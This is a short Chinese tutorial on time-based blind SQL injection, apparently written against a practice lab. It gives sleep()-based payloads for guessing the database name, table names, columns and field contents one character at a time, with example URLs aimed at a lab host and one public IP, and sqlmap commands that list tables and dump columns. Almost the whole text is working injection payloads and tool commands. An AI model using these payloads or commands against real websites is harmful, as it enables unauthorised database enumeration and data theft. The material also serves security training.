时间注入的一些基本思路
原理
利用函数sleep()让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息
1,判断当前库名的长度
语法:and if (length(database())=x,0,sleep(5))#0 //判断数据库名字长度
实例:http://10.6.18.36/time/?type=1 and if (length(database())>11,0,sleep(5))#0
当前库名长度为12
2,猜库名
语法:and if (ascii(substr(database(),x,1))>xxx,0,sleep(5)) //判断数据库名字
实例:http://10.6.18.36/time/?type=1 and if (ascii(substr(database(),1,1))=112,0,sleep(5))
获取到数据库名字的第一个字母,以此类推(pentesterlab)
3,猜表名
语法:and if((select ascii(substr((select table_name from information_schema.tables where table_schema=" pentesterlab "limit 0,1),1,1)))=101,0,sleep(5))
实例:http://10.6.18.36/time/?type=1and if((select ascii(substr((select table_name from information_schema.tables where table_schema=“pentesterlab"limit 0,1),1,1)))>99,0,sleep(5))
获取当前数据库中数据表的名称
4.手工注入知道了库名,用SQLmap辅助操作查出表名
命令为:sqlmap.dy -u “url” --tables -D “security”
C:\Python27\sqlmap>sqlmap.py -u “http://10.6.18.36/time/?type=1” --tables -D “pentesterlab”
5.获取表名,查我们想要的表的字段
手工语句:and if((select ascii(substr((select column_name from information_schema.columns where table_name=“zKaq"limit 0,1),1,1)))=101,0,sleep(5))
sqlmap命令为:sqlmap.dy -u “url” --columns -T “表名称”
C:\Python27\sqlmap>sqlmap.py -u “http://10.6.18.36/time/?type=1” --columns -T “comment”
6.查字段内容
手工语句:and if((select ascii(substr((select zKaQ from zKaq WHERE flag=“10”),1,1)))=101,0,sleep(5))
sqlmap工具命令:
sqlmap.py -u"http://120.203.13.75:8150/New/TimeBased/RankOne/sql-one/?id=1” --dump -T “zKaq” -C “flag”
C:\Python27\sqlmap>sqlmap.py -u"http://10.6.18.36/time/?type=1” --dump -T “comment” -C “time”